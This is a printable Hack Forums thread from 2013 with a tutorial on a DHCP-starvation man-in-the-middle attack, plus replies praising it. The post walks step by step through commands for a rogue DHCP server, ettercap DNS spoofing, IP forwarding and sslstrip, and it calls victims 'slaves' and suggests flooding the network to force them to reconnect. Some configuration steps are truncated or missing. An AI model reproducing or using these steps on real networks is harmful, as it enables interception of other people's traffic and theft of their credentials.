![]() |
|
[Tutorial] ~ Man in the Middle Attack ~ DHCP Starvation Part 2/2 - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47) +----- Thread: [Tutorial] ~ Man in the Middle Attack ~ DHCP Starvation Part 2/2 (/showthread.php?tid=3845159) Pages: Pages
1
2
|
[Tutorial] ~ Man in the Middle Attack ~ DHCP Starvation Part 2/2 - Goodies - Nov 4, 2013 Hey guys :D Alright, so this is part 2 of my DHCP Starvation and MITM attack! In this part, we are going to set up a miniature DHCP server and act as a default gateway to other machines now trying to join the network. Note: This attack works so fucking amazingly with an IPv6 flood or something that would force the users to restart their machines. Though the machines would have to be off when you start the attack for maximum slaves ;) Setting Up the DHCP/DNS Server
So last time I told you how DHCP works in a basic sense. We are going to set up a DHCP server using "udhcpd" and we will be setting up a DNS server using nothing else but GOOD OLD ETTERCAP :D First off, get udhcpd if you don't have it aready: Code apt-get install udhcpdAlright, we need to edit the configuration file so we know what's up. First of all, some important information to note: Quote:My IP: 192.168.7.3 Alright, let's edit the config file: Code nano /etc/udhcpd.confFind the line that says "start" and underneath that should say "end". Configure it with your network settings: Code start 192.168.7.20That's it :D ctrl+o -> enter to save ctrl+x -> exit. Now that we have that, start the DHCP server! First we need to edit one more file and enable it: Code nano /etc/default/udhcpdchange: Code DHCPD_ENABLED="no"Code DHCPD_ENABLED="yes"Now let's start the daemon/service! Code sudo /etc/init.d/udhcpd restartDone! That's our DHCP Server!!! Now for the DNS server. There are a million tutorials on where to download ettercap and things so I won't be going over all that. You can also install it by going: Code sudo apt-get install ettercap-text-onlyAlright, so feel free to set up DNS records if needed by editing "/usr/share/ettercap/etter.dns" at the bottom where all of the DNS records are :) You may have to locate the etter.dns file if it's not there. So, let's just open up the DNS server, shall we? Code ettercap -Tq -P dns_spoofConfiguring SSLStrip and IPTables
I can spend all day on this section, but it's almost 1am and I've got class in a few hours xD So I'll limit it to just a few minutes. SSLStrip: This is going to capture HTTP data and it will also spoof a SSL certificate so we can decrypt the victim's HTTPS traffic and have a secure connection with them ourselves. This s great for intercepting HTTPS encrypted websites. IPTables: Static routing tables and nat configuration. I really can't go into it more, but if you'd like to know more feel free to ask! Okay, so let's go ahead and run our iptables command (you don't have to flush the tables if you don't have rules already for these ports): Code iptables --flushOkay, let's ensure port forwarding can ensue: Code echo "1" > /proc/sys/net/ipv4/ip_forwardLet's set up SSL strip now. Code sslstrip -k -a -l 10000Watch the fireworks! You can check the ssl.log file whevever you'd like. This will capture ALL traffic both HTTP and HTTPS regardless if the cert is SSL or TLS :D
Tutorial by Goodies. I Hope You Enjoyed :D
~ Goodies ♥ * - 123123q123123q - Nov 5, 2013 Thanks for tutorial :) and Thanks for you Goodies ! * - Delevingne - Nov 13, 2013 Nice tutorial - why nobody replies to it ? lOl * - Goodies - Nov 13, 2013 (Nov 13, 2013 09:22 AM)DaloSec Wrote: Nice tutorial - why nobody replies to it ? lOl Honestly, many of the simple people enjoy reading and making the same WiFi cracking tutorials or RAT help threads. I make these tutorials for the few people such as yourself that read it and may even get something out of it ;) * - Tommy - Nov 13, 2013 This is all basic knowledge. But whatever nice tut * - ๖ۣۜXilluX - Nov 13, 2013 Nice Tut, bookmarked it! Keep up the nice work. * - DrDinosaur - Nov 16, 2013 This tutorial gets Dr. Dinosaur's Seal of Anti-Skid Approval. Seriously, this>skidcomet tutorials. Nice job. * - praetorian70 - Nov 16, 2013 thank you for sharing this tutorial * - Goodies - Dec 6, 2013 (Nov 16, 2013 02:31 AM)DrDinosaur Wrote: This tutorial gets Dr. Dinosaur's Seal of Anti-Skid Approval. Seriously, this>skidcomet tutorials. Nice job. Thanks :) I worked hard on this. Glad to be appreciated! (Nov 16, 2013 02:31 AM)DrDinosaur Wrote: This tutorial gets Dr. Dinosaur's Seal of Anti-Skid Approval. Seriously, this>skidcomet tutorials. Nice job. Thanks :) I worked hard on this. Glad to be appreciated! * - Bartuc - Dec 6, 2013 Thank You for posting your wonderful tutorials. * - Violators - Dec 6, 2013 Amazing tutorial Goodies. You would be the one to do something like this, nice job! * - HarveySpecter - Dec 6, 2013 thank you for sharing this really helpful to people * - Big Bird - Dec 6, 2013 Thanks for the tutorial! I do love how they have a android app for this that automates the process. * - Violators - Dec 6, 2013 I remember seeing this on that Derren Brown show haha * - Private666 - Dec 6, 2013 Tried this works perfect and highly detailed and HQ |